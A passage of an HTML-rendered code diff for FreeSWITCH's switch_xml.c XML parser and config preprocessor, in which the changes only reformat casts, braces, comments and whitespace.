</span><span class="cx">                 root-&gt;pi[i][1] = (char *) (root-&gt;pi[i + 1] = NULL);        /* terminate pi list */
</span><span class="cx">                 root-&gt;pi[i][2] = strdup(&quot;&quot;);        /* empty document position list */
</span><span class="lines">@@ -695,12 +701,14 @@
</span><span class="cx"> 
</span><span class="cx">         while (root-&gt;pi[i][j])
</span><span class="cx">                 j++;                                        /* find end of instruction list for this target */
</span><del>-        sstmp = (char **)realloc(root-&gt;pi[i], sizeof(char *) * (j + 3));
-        if (!sstmp) return;
</del><ins>+        sstmp = (char **) realloc(root-&gt;pi[i], sizeof(char *) * (j + 3));
+        if (!sstmp)
+                return;
</ins><span class="cx">         root-&gt;pi[i] = sstmp;
</span><del>-        stmp = (char *)realloc(root-&gt;pi[i][j + 1], j + 1);
-        if (!stmp) return;
-        root-&gt;pi[i][j + 2] = stmp; 
</del><ins>+        stmp = (char *) realloc(root-&gt;pi[i][j + 1], j + 1);
+        if (!stmp)
+                return;
+        root-&gt;pi[i][j + 2] = stmp;
</ins><span class="cx">         strcpy(root-&gt;pi[i][j + 2] + j - 1, (root-&gt;xml.name) ? &quot;&gt;&quot; : &quot;&lt;&quot;);
</span><span class="cx">         root-&gt;pi[i][j + 1] = NULL;        /* null terminate pi list for this target */
</span><span class="cx">         root-&gt;pi[i][j] = s;                        /* set instruction */
</span><span class="lines">@@ -713,27 +721,27 @@
</span><span class="cx">         int i, j;
</span><span class="cx">         char **sstmp;
</span><span class="cx"> 
</span><del>-        pe = (char **)memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
-        
</del><ins>+        pe = (char **) memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
+
</ins><span class="cx">         for (s[len] = '\0'; s;) {
</span><span class="cx">                 while (*s &amp;&amp; *s != '&lt;' &amp;&amp; *s != '%')
</span><span class="cx">                         s++;                                /* find next declaration */
</span><span class="cx"> 
</span><span class="cx">                 if (!*s)
</span><span class="cx">                         break;
</span><del>-                else if (!strncmp(s, &quot;&lt;!ENTITY&quot;, 8)) {                        /* parse entity definitions */
</del><ins>+                else if (!strncmp(s, &quot;&lt;!ENTITY&quot;, 8)) {        /* parse entity definitions */
</ins><span class="cx">                         c = s += strspn(s + 8, SWITCH_XML_WS) + 8;        /* skip white space separator */
</span><del>-                        n = s + strspn(s, SWITCH_XML_WS &quot;%&quot;);                /* find name */
</del><ins>+                        n = s + strspn(s, SWITCH_XML_WS &quot;%&quot;);        /* find name */
</ins><span class="cx">                         *(s = n + strcspn(n, SWITCH_XML_WS)) = ';';        /* append ; to name */
</span><span class="cx"> 
</span><span class="cx">                         v = s + strspn(s + 1, SWITCH_XML_WS) + 1;        /* find value */
</span><del>-                        if ((q = *(v++)) != '&quot;' &amp;&amp; q != '\'') {                /* skip externals */
</del><ins>+                        if ((q = *(v++)) != '&quot;' &amp;&amp; q != '\'') {        /* skip externals */
</ins><span class="cx">                                 s = strchr(s, '&gt;');
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         for (i = 0, ent = (*c == '%') ? pe : root-&gt;ent; ent[i]; i++);
</span><del>-                        sstmp = (char **)realloc(ent, (i + 3) * sizeof(char *));        /* space for next ent */
</del><ins>+                        sstmp = (char **) realloc(ent, (i + 3) * sizeof(char *));        /* space for next ent */
</ins><span class="cx">                         if (!sstmp) {
</span><span class="cx">                                 switch_xml_err(root, v, &quot;Allocation Error!&quot;);
</span><span class="cx">                                 break;
</span><span class="lines">@@ -770,7 +778,7 @@
</span><span class="cx"> 
</span><span class="cx">                         //while (*(n = ++s + strspn(s, SWITCH_XML_WS)) &amp;&amp; *n != '&gt;') {
</span><span class="cx">                         // gcc 4.4 you are a creep
</span><del>-                        for(;;) {
</del><ins>+                        for (;;) {
</ins><span class="cx">                                 s++;
</span><span class="cx">                                 if (!(*(n = s + strspn(s, SWITCH_XML_WS)) &amp;&amp; *n != '&gt;')) {
</span><span class="cx">                                         break;
</span><span class="lines">@@ -783,7 +791,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 s += strspn(s + 1, SWITCH_XML_WS) + 1;        /* find next token */
</span><del>-                                c = (strncmp(s, &quot;CDATA&quot;, 5)) ? (char *)&quot;*&quot; : (char *)&quot; &quot;;        /* is it cdata? */
</del><ins>+                                c = (strncmp(s, &quot;CDATA&quot;, 5)) ? (char *) &quot;*&quot; : (char *) &quot; &quot;;        /* is it cdata? */
</ins><span class="cx">                                 if (!strncmp(s, &quot;NOTATION&quot;, 8))
</span><span class="cx">                                         s += strspn(s + 8, SWITCH_XML_WS) + 8;
</span><span class="cx">                                 s = (*s == '(') ? strchr(s, ')') : s + strcspn(s, SWITCH_XML_WS);
</span><span class="lines">@@ -809,15 +817,15 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!root-&gt;attr[i]) {        /* new tag name */
</span><del>-                                        root-&gt;attr = (!i) ? (char ***)malloc(2 * sizeof(char **))
-                                                : (char ***)realloc(root-&gt;attr, (i + 2) * sizeof(char **));
-                                        root-&gt;attr[i] = (char **)malloc(2 * sizeof(char *));
</del><ins>+                                        root-&gt;attr = (!i) ? (char ***) malloc(2 * sizeof(char **))
+                                                : (char ***) realloc(root-&gt;attr, (i + 2) * sizeof(char **));
+                                        root-&gt;attr[i] = (char **) malloc(2 * sizeof(char *));
</ins><span class="cx">                                         root-&gt;attr[i][0] = t;        /* set tag name */
</span><span class="cx">                                         root-&gt;attr[i][1] = (char *) (root-&gt;attr[i + 1] = NULL);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 for (j = 1; root-&gt;attr[i][j]; j += 3);        /* find end of list */
</span><del>-                                sstmp = (char **)realloc(root-&gt;attr[i], (j + 4) * sizeof(char *));
</del><ins>+                                sstmp = (char **) realloc(root-&gt;attr[i], (j + 4) * sizeof(char *));
</ins><span class="cx"> 
</span><span class="cx">                                 if (!sstmp) {
</span><span class="cx">                                         switch_xml_err(root, t, &quot;Allocation Error!&quot;);
</span><span class="lines">@@ -826,17 +834,17 @@
</span><span class="cx"> 
</span><span class="cx">                                 root-&gt;attr[i] = sstmp;
</span><span class="cx">                                 root-&gt;attr[i][j + 3] = NULL;        /* null terminate list */
</span><del>-                                root-&gt;attr[i][j + 2] = c;                /* is it cdata? */
</del><ins>+                                root-&gt;attr[i][j + 2] = c;        /* is it cdata? */
</ins><span class="cx">                                 root-&gt;attr[i][j + 1] = (v) ? switch_xml_decode(v, root-&gt;ent, *c) : NULL;
</span><del>-                                root-&gt;attr[i][j] = n;                        /* attribute name  */
</del><ins>+                                root-&gt;attr[i][j] = n;        /* attribute name  */
</ins><span class="cx">                         }
</span><span class="cx">                 } else if (!strncmp(s, &quot;&lt;!--&quot;, 4))
</span><del>-                        s = strstr(s + 4, &quot;--&gt;&quot;);                        /* comments */
-                else if (!strncmp(s, &quot;&lt;?&quot;, 2)) {                /* processing instructions */
</del><ins>+                        s = strstr(s + 4, &quot;--&gt;&quot;);        /* comments */
+                else if (!strncmp(s, &quot;&lt;?&quot;, 2)) {        /* processing instructions */
</ins><span class="cx">                         if ((s = strstr(c = s + 2, &quot;?&gt;&quot;)))
</span><span class="cx">                                 switch_xml_proc_inst(root, c, s++ - c);
</span><span class="cx">                 } else if (*s == '&lt;')
</span><del>-                        s = strchr(s, '&gt;');                                        /* skip other declarations */
</del><ins>+                        s = strchr(s, '&gt;');        /* skip other declarations */
</ins><span class="cx">                 else if (*(s++) == '%' &amp;&amp; !root-&gt;standalone)
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><span class="lines">@@ -857,10 +865,10 @@
</span><span class="cx">         if (be == -1)
</span><span class="cx">                 return NULL;                        /* not UTF-16 */
</span><span class="cx"> 
</span><del>-        u = (char *)malloc(max);
</del><ins>+        u = (char *) malloc(max);
</ins><span class="cx">         for (sl = 2; sl &lt; *len - 1; sl += 2) {
</span><span class="cx">                 c = (be) ? (((*s)[sl] &amp; 0xFF) &lt;&lt; 8) | ((*s)[sl + 1] &amp; 0xFF)        /* UTF-16BE */
</span><del>-                        : (((*s)[sl + 1] &amp; 0xFF) &lt;&lt; 8) | ((*s)[sl] &amp; 0xFF);                /* UTF-16LE */
</del><ins>+                        : (((*s)[sl + 1] &amp; 0xFF) &lt;&lt; 8) | ((*s)[sl] &amp; 0xFF);        /* UTF-16LE */
</ins><span class="cx">                 if (c &gt;= 0xD800 &amp;&amp; c &lt;= 0xDFFF &amp;&amp; (sl += 2) &lt; *len - 1) {        /* high-half */
</span><span class="cx">                         d = (be) ? (((*s)[sl] &amp; 0xFF) &lt;&lt; 8) | ((*s)[sl + 1] &amp; 0xFF)
</span><span class="cx">                                 : (((*s)[sl + 1] &amp; 0xFF) &lt;&lt; 8) | ((*s)[sl] &amp; 0xFF);
</span><span class="lines">@@ -869,8 +877,9 @@
</span><span class="cx"> 
</span><span class="cx">                 while (l + 6 &gt; max) {
</span><span class="cx">                         char *tmp;
</span><del>-                        tmp = (char *)realloc(u, max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return NULL;
</del><ins>+                        tmp = (char *) realloc(u, max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return NULL;
</ins><span class="cx">                         u = tmp;
</span><span class="cx">                 }
</span><span class="cx">                 if (c &lt; 0x80)
</span><span class="lines">@@ -884,7 +893,7 @@
</span><span class="cx">                                 u[l++] = (char) (0x80 | ((c &gt;&gt; (6 * --b)) &amp; 0x3F));        /* payload */
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        return *s = (char *)realloc(u, *len = l);
</del><ins>+        return *s = (char *) realloc(u, *len = l);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* frees a tag attribute list */
</span><span class="lines">@@ -908,16 +917,16 @@
</span><span class="cx">         free(attr);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup) 
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_root_t root;
</span><span class="cx">         char *data;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(s);
</span><span class="cx">         data = dup ? strdup(s) : s;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((root = (switch_xml_root_t) switch_xml_parse_str(data, strlen(data)))) {
</span><del>-                root-&gt;dynamic = 1; /* Make sure we free the memory is switch_xml_free() */
</del><ins>+                root-&gt;dynamic = 1;                /* Make sure we free the memory is switch_xml_free() */
</ins><span class="cx">                 return &amp;root-&gt;xml;
</span><span class="cx">         } else {
</span><span class="cx">                 if (dup) {
</span><span class="lines">@@ -926,7 +935,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> /* parse the given xml string and return an switch_xml structure */
</span><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(char *s, switch_size_t len)
</span><span class="cx"> {
</span><span class="lines">@@ -952,26 +961,26 @@
</span><span class="cx">                 attr = (char **) SWITCH_XML_NIL;
</span><span class="cx">                 d = ++s;
</span><span class="cx"> 
</span><del>-                if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) *s &lt; '\0') {        /* new tag */
</del><ins>+                if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) * s &lt; '\0') {        /* new tag */
</ins><span class="cx">                         if (!root-&gt;cur)
</span><span class="cx">                                 return switch_xml_err(root, d, &quot;markup outside of root element&quot;);
</span><span class="cx"> 
</span><span class="cx">                         s += strcspn(s, SWITCH_XML_WS &quot;/&gt;&quot;);
</span><span class="cx">                         while (isspace((int) (*s)))
</span><del>-                        *(s++) = '\0';        /* null terminate tag name */
</del><ins>+                                *(s++) = '\0';        /* null terminate tag name */
</ins><span class="cx"> 
</span><span class="cx">                         if (*s &amp;&amp; *s != '/' &amp;&amp; *s != '&gt;')        /* find tag in default attr list */
</span><span class="cx">                                 for (i = 0; (a = root-&gt;attr[i]) &amp;&amp; strcmp(a[0], d); i++);
</span><span class="cx"> 
</span><span class="cx">                         for (l = 0; *s &amp;&amp; *s != '/' &amp;&amp; *s != '&gt;'; l += 2) {        /* new attrib */
</span><del>-                                attr = (l) ? (char **)realloc(attr, (l + 4) * sizeof(char *))
-                                        : (char **)malloc(4 * sizeof(char *));        /* allocate space */
-                                attr[l + 3] = (l) ? (char *)realloc(attr[l + 1], (l / 2) + 2)
-                                        : (char *)malloc(2);                                        /* mem for list of maloced vals */
-                                strcpy(attr[l + 3] + (l / 2), &quot; &quot;);                        /* value is not malloced */
-                                attr[l + 2] = NULL;                                                        /* null terminate list */
-                                attr[l + 1] = (char *)&quot;&quot;;                                        /* temporary attribute value */
-                                attr[l] = s;                                                                /* set attribute name */
</del><ins>+                                attr = (l) ? (char **) realloc(attr, (l + 4) * sizeof(char *))
+                                        : (char **) malloc(4 * sizeof(char *));        /* allocate space */
+                                attr[l + 3] = (l) ? (char *) realloc(attr[l + 1], (l / 2) + 2)
+                                        : (char *) malloc(2);        /* mem for list of maloced vals */
+                                strcpy(attr[l + 3] + (l / 2), &quot; &quot;);        /* value is not malloced */
+                                attr[l + 2] = NULL;        /* null terminate list */
+                                attr[l + 1] = (char *) &quot;&quot;;        /* temporary attribute value */
+                                attr[l] = s;        /* set attribute name */
</ins><span class="cx"> 
</span><span class="cx">                                 s += strcspn(s, SWITCH_XML_WS &quot;=/&gt;&quot;);
</span><span class="cx">                                 if (*s == '=' || isspace((int) (*s))) {
</span><span class="lines">@@ -1084,12 +1093,12 @@
</span><span class="cx">         switch_size_t l, len = 0;
</span><span class="cx">         char *s;
</span><span class="cx"> 
</span><del>-        if (!(s = (char *)malloc(SWITCH_XML_BUFSIZE)))
</del><ins>+        if (!(s = (char *) malloc(SWITCH_XML_BUFSIZE)))
</ins><span class="cx">                 return NULL;
</span><span class="cx">         do {
</span><span class="cx">                 len += (l = fread((s + len), 1, SWITCH_XML_BUFSIZE, fp));
</span><span class="cx">                 if (l == SWITCH_XML_BUFSIZE) {
</span><del>-                        char *tmp = (char *)realloc(s, len + SWITCH_XML_BUFSIZE);
</del><ins>+                        char *tmp = (char *) realloc(s, len + SWITCH_XML_BUFSIZE);
</ins><span class="cx">                         if (!tmp) {
</span><span class="cx">                                 free(s);
</span><span class="cx">                                 return NULL;
</span><span class="lines">@@ -1128,9 +1137,10 @@
</span><span class="cx">         } else {                                        /* mmap failed, read file into memory */
</span><span class="cx"> #endif /* HAVE_MMAP */
</span><span class="cx">                 m = malloc(st.st_size);
</span><del>-                if (!m) return NULL;
</del><ins>+                if (!m)
+                        return NULL;
</ins><span class="cx">                 l = read(fd, m, st.st_size);
</span><del>-                root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
</del><ins>+                root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
</ins><span class="cx">                 root-&gt;dynamic = 1;                /* so we know to free s in switch_xml_free() */
</span><span class="cx"> #ifdef HAVE_MMAP
</span><span class="cx">         }
</span><span class="lines">@@ -1188,20 +1198,19 @@
</span><span class="cx">         if (write(write_fd, message, sizeof(message)) &lt; 0) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #else
</span><span class="cx">         int fds[2], pid = 0;
</span><span class="cx"> 
</span><span class="cx">         if (pipe(fds)) {
</span><span class="cx">                 goto end;
</span><del>-        } else { /* good to go*/
</del><ins>+        } else {                                        /* good to go */
</ins><span class="cx">                 pid = fork();
</span><span class="cx"> 
</span><del>-                if (pid &lt; 0) { /* ok maybe not */
</del><ins>+                if (pid &lt; 0) {                        /* ok maybe not */
</ins><span class="cx">                         close(fds[0]);
</span><span class="cx">                         close(fds[1]);
</span><span class="cx">                         goto end;
</span><del>-                } else if (pid) { /* parent */
</del><ins>+                } else if (pid) {                /* parent */
</ins><span class="cx">                         char buf[1024] = &quot;&quot;;
</span><span class="cx">                         int bytes;
</span><span class="cx">                         close(fds[1]);
</span><span class="lines">@@ -1211,7 +1220,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         close(fds[0]);
</span><del>-                } else { /*  child */
</del><ins>+                } else {                                /*  child */
</ins><span class="cx">                         close(fds[0]);
</span><span class="cx">                         dup2(fds[1], STDOUT_FILENO);
</span><span class="cx">                         switch_system(command, SWITCH_TRUE);
</span><span class="lines">@@ -1220,25 +1229,25 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         return write_fd;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int preprocess_glob(const char *cwd, const char *pattern, int write_fd, int rlevel)
</span><span class="cx"> {
</span><span class="cx">         char *full_path = NULL;
</span><span class="cx">         char *dir_path = NULL, *e = NULL;
</span><del>-    glob_t glob_data;
</del><ins>+        glob_t glob_data;
</ins><span class="cx">         size_t n;
</span><span class="cx"> 
</span><span class="cx">         if (!switch_is_file_path(pattern)) {
</span><span class="cx">                 full_path = switch_mprintf(&quot;%s%s%s&quot;, cwd, SWITCH_PATH_SEPARATOR, pattern);
</span><span class="cx">                 pattern = full_path;
</span><span class="cx">         }
</span><del>-        
-    if (glob(pattern, GLOB_NOCHECK, NULL, &amp;glob_data) != 0) {
</del><ins>+
+        if (glob(pattern, GLOB_NOCHECK, NULL, &amp;glob_data) != 0) {
</ins><span class="cx">                 if (stderr) {
</span><span class="cx">                         fprintf(stderr, &quot;Error including %s\n&quot;, pattern);
</span><span class="cx">                 }
</span><span class="lines">@@ -1260,9 +1269,9 @@
</span><span class="cx">                 }
</span><span class="cx">                 free(dir_path);
</span><span class="cx">         }
</span><del>-    globfree(&amp;glob_data);
</del><ins>+        globfree(&amp;glob_data);
</ins><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(full_path);
</span><span class="cx"> 
</span><span class="lines">@@ -1276,7 +1285,7 @@
</span><span class="cx">         char *q, *cmd, buf[2048], ebuf[8192];
</span><span class="cx">         char *tcmd, *targ;
</span><span class="cx">         int line = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((read_fd = open(file, O_RDONLY, 0)) &lt; 0) {
</span><span class="cx">                 const char *reason = strerror(errno);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldnt open %s (%s)\n&quot;, file, reason);
</span><span class="lines">@@ -1292,7 +1301,7 @@
</span><span class="cx">                 const char *err = NULL;
</span><span class="cx">                 char *bp = expand_vars(buf, ebuf, sizeof(ebuf), &amp;cur, &amp;err);
</span><span class="cx">                 line++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (err) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error [%s] in file %s line %d\n&quot;, err, file, line);
</span><span class="cx">                 }
</span><span class="lines">@@ -1312,8 +1321,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if ((tcmd = (char *)switch_stristr(&quot;X-pre-process&quot;, bp))) {
-                        if (*(tcmd-1) != '&lt;') {
</del><ins>+                if ((tcmd = (char *) switch_stristr(&quot;X-pre-process&quot;, bp))) {
+                        if (*(tcmd - 1) != '&lt;') {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                         if ((e = strstr(tcmd, &quot;/&gt;&quot;))) {
</span><span class="lines">@@ -1323,35 +1332,35 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Short write!\n&quot;);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
-                        if (!(tcmd = (char *)switch_stristr(&quot;cmd&quot;, tcmd))) {
</del><ins>+
+                        if (!(tcmd = (char *) switch_stristr(&quot;cmd&quot;, tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (!(tcmd = (char *)switch_stristr(&quot;=&quot;, tcmd))) {
</del><ins>+                        if (!(tcmd = (char *) switch_stristr(&quot;=&quot;, tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (!(tcmd = (char *)switch_stristr(&quot;\&quot;&quot;, tcmd))) {
</del><ins>+                        if (!(tcmd = (char *) switch_stristr(&quot;\&quot;&quot;, tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tcmd++;
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((e = strchr(tcmd, '&quot;'))) {
</span><span class="cx">                                 *e++ = '\0';
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (!(targ = (char *)switch_stristr(&quot;data&quot;, e))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr(&quot;data&quot;, e))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (!(targ = (char *)switch_stristr(&quot;=&quot;, targ))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr(&quot;=&quot;, targ))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (!(targ = (char *)switch_stristr(&quot;\&quot;&quot;, targ))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr(&quot;\&quot;&quot;, targ))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1360,26 +1369,26 @@
</span><span class="cx">                         if ((e = strchr(targ, '&quot;'))) {
</span><span class="cx">                                 *e++ = '\0';
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(tcmd, &quot;set&quot;)) {
</span><del>-                                char *name = (char *)targ;
</del><ins>+                                char *name = (char *) targ;
</ins><span class="cx">                                 char *val = strchr(name, '=');
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (val) {
</span><span class="cx">                                         char *ve = val++;
</span><span class="cx">                                         while (*val &amp;&amp; *val == ' ') {
</span><del>-                                                        val++;
</del><ins>+                                                val++;
</ins><span class="cx">                                         }
</span><span class="cx">                                         *ve-- = '\0';
</span><span class="cx">                                         while (*ve &amp;&amp; *ve == ' ') {
</span><span class="cx">                                                 *ve-- = '\0';
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (name &amp;&amp; val) {
</span><span class="cx">                                         switch_core_set_variable(name, val);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         } else if (!strcasecmp(tcmd, &quot;include&quot;)) {
</span><span class="cx">                                 preprocess_glob(cwd, targ, write_fd, rlevel + 1);
</span><span class="cx">                         } else if (!strcasecmp(tcmd, &quot;exec&quot;)) {
</span><span class="lines">@@ -1388,7 +1397,7 @@
</span><span class="cx"> 
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((cmd = strstr(bp, &quot;&lt;!--#&quot;))) {
</span><span class="cx">                         if (write(write_fd, bp, (unsigned) (cmd - bp)) != (cmd - bp)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Short write!\n&quot;);
</span><span class="lines">@@ -1470,12 +1479,12 @@
</span><span class="cx">                 m = malloc(st.st_size);
</span><span class="cx">                 switch_assert(m);
</span><span class="cx">                 l = read(fd, m, st.st_size);
</span><del>-                root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
</del><ins>+                root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
</ins><span class="cx">                 root-&gt;dynamic = 1;
</span><span class="cx">                 close(fd);
</span><span class="cx">                 return &amp;root-&gt;xml;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1486,13 +1495,14 @@
</span><span class="cx">         char *new_file = NULL;
</span><span class="cx">         const char *abs, *absw;
</span><span class="cx"> 
</span><del>-        abs = strrchr(file, '/'); absw = strrchr(file, '\\');
</del><ins>+        abs = strrchr(file, '/');
+        absw = strrchr(file, '\\');
</ins><span class="cx">         if (abs || absw) {
</span><span class="cx">                 abs &gt; absw ? abs++ : (abs = ++absw);
</span><span class="cx">         } else {
</span><span class="cx">                 abs = file;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(new_file = switch_mprintf(&quot;%s%s%s.fsxml&quot;, SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, abs))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="lines">@@ -1527,12 +1537,9 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate(const char *section,
</span><span class="cx">                                                                                                   const char *tag_name,
</span><del>-                                                                                                  const char *key_name, 
-                                                                                                  const char *key_value, 
-                                                                                                  switch_xml_t *root, 
-                                                                                                  switch_xml_t *node,
-                                                                                                  switch_event_t *params,
-                                                                                                  switch_bool_t clone)
</del><ins>+                                                                                                  const char *key_name,
+                                                                                                  const char *key_value,
+                                                                                                  switch_xml_t *root, switch_xml_t *node, switch_event_t *params, switch_bool_t clone)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t conf = NULL;
</span><span class="cx">         switch_xml_t tag = NULL;
</span><span class="lines">@@ -1589,7 +1596,7 @@
</span><span class="cx">                         if (clone) {
</span><span class="cx">                                 char *x = switch_xml_toxml(tag, SWITCH_FALSE);
</span><span class="cx">                                 switch_assert(x);
</span><del>-                                *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE); /* x will be free()'d in switch_xml_free() */
</del><ins>+                                *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE);        /* x will be free()'d in switch_xml_free() */
</ins><span class="cx">                                 switch_xml_free(xml);
</span><span class="cx">                         } else {
</span><span class="cx">                                 *node = tag;
</span><span class="lines">@@ -1610,8 +1617,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params,
-                                                                                                                 switch_xml_t *root, switch_xml_t *domain)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params, switch_xml_t *root, switch_xml_t *domain)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *my_params = NULL;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1632,11 +1638,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(const char *group_name,
</span><del>-                                                                                                                const char *domain_name, 
-                                                                                                                switch_xml_t *root,
-                                                                                                                switch_xml_t *domain,
-                                                                                                                switch_xml_t *group,
-                                                                                                                switch_event_t *params)
</del><ins>+                                                                                                                const char *domain_name,
+                                                                                                                switch_xml_t *root, switch_xml_t *domain, switch_xml_t *group, switch_event_t *params)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *my_params = NULL;
</span><span class="lines">@@ -1663,7 +1666,7 @@
</span><span class="cx">         if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="cx">         if ((groups = switch_xml_child(*domain, &quot;groups&quot;))) {
</span><span class="lines">@@ -1672,7 +1675,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (my_params) {
</span><span class="cx">                 switch_event_destroy(&amp;my_params);
</span><span class="lines">@@ -1699,7 +1702,7 @@
</span><span class="cx">                 if ((*user = switch_xml_find_child_multi(tag, &quot;user&quot;, &quot;ip&quot;, ip, &quot;type&quot;, type, NULL))) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (user_name) {
</span><span class="cx">                 if (!strcasecmp(key, &quot;id&quot;)) {
</span><span class="lines">@@ -1712,19 +1715,16 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name,
-                                                                                                                                 switch_xml_t domain,
-                                                                                                                                 switch_xml_t *user,
-                                                                                                                                 switch_xml_t *ingroup)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name, switch_xml_t domain, switch_xml_t *user, switch_xml_t *ingroup)
</ins><span class="cx"> {
